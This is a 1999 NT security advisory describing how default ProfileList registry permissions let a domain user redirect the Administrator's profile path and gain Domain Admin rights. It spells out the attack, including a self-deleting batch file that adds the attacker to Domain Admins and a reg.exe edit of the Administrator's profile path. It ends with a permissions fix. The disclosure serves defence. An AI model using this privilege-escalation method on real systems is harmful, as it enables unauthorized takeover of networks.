http://www.codetalker.com/advisories/misc/mnemonix-990428.html Title: Domain user to Domain Admin - Profiles and the Registry Date Issued: April 28, 1999 Last Modified: April 28, 1999 Code: MNEMONIX-990428 Source: Misc From: Mnemonix Subject: NT Security Advisory: Domain user to Domain Admin - Profiles and the Registry Problem : NT users can cause other users of the system to load a "trojaned" pro file that could lead to a system compromise. This issue has been here for as lo ng as NT 4 has, but I'm not sure if anybody has picked this particular issue up . Details: When a user logs onto an NT Workstation or Server a new subkey is writ ten to the HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList regist ry key. The name of this new key is that of the user's Security Identifier or S ID. One of the values of this key is the ProfileImagePath which points to the l ocation of the user's profile directory. This can reference a local path (eg %s ystemroot%\profiles\acc_name) or a UNC path (eg \\PDC\profiles\acc_name). By default, the permissions on the ProfileList registry key grants the Everybod y group the SetValue permission meaning that any user including guests may edit the information in this subkey and all of its subkeys. Consequently a maliciou s user of the system could change another user's ProfileImagePath and get it to load a different profile (eg c:\trojaned-profile) that contains entries in the Start Up folder that will run when that user next logs on to that system. Editing these Registry keys can be done local or from across the network. Altho ugh remote access to the registry can be controlled by placing controls on the winreg key, the HKLM\Software\Microsoft\Windows NT\CurrentVersion path into the Registry is, by default, an AllowedPath, meaning that, irrespective of the ACL s set on the winreg key, a remote user may edit any subkey under the CurrentVer sion key. Note that tools such as Regedit.exe and Regedt32.exe will not be able to be used to to this. The NT Resource Kit's reg.exe could though because it o pens a handle straight to the Registry key in question. Attack Scenario: This weakness of default settings, could allow a normal domain user to gain domain Administrative rights: Assuming the attackers machine is c alled \\DODGY and the PDC is called \\PDC , the user jsmith at \\DODGY creates a new directory on the root of their C: drive and call it "profile" and copy in to it the contents of their own profile and then make some changes like creatin g a batch file called addme.bat with the following contents: net groups "Domain Admins" jsmith /add del "\\DODGY\C$\profile\start menu\programs\startup\addme.bat" Once they have logged onto the domain they use reg.exe to open the Administrato r's ProfileList key. This is easily found as it is the SID with a RID of 500. T hey then edit the ProfileImagePath to point to \\DODGY\C$\profile . Next time t he Administrator logs on at the \\PDC console their profile will be loaded from \\DODGY (because Domain Admins are members of the local Administrators group t hey can map to the administrative share on \\DODGY ) and the self deleteing bat ch file in the StartUp wil be run adding jsmith to the Domain Admins group. This whole process can be cleaned up somewhat as in most cases it would be fair ly obvious that something is not as it should be to the Administrator when they log on. Resolution: The winlogon.exe process actually creates the new subkey when a use r logs on - and the key is _not_ created in the security context of the user cu rrently logging on but rather the SYSTEM account. Only the SYSTEM account, then , needs write access to the ProfileList key and Everyone else should be given o nly Read Access. Doing this will not prevent new users from logging on and they "SID" subkey is still created. NB:- This issue can also allow users to bypass mandatory profiles etc, etc.